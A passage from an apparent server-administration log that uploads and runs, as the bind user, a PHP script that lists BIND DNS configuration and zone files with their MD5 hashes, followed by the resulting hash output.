MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 10:46:50: Establishing a connection
2026-05-07 10:46:50: 

PUT: /tmp/pkp174732

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 10:46:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp174732; rm /tmp/pkp174732'

2026-05-07 10:46:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 10:46:53: Establishing a connection
2026-05-07 10:46:53: 

PUT: /tmp/pkp628530

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 10:46:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp628530; rm /tmp/pkp628530'

2026-05-07 10:46:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
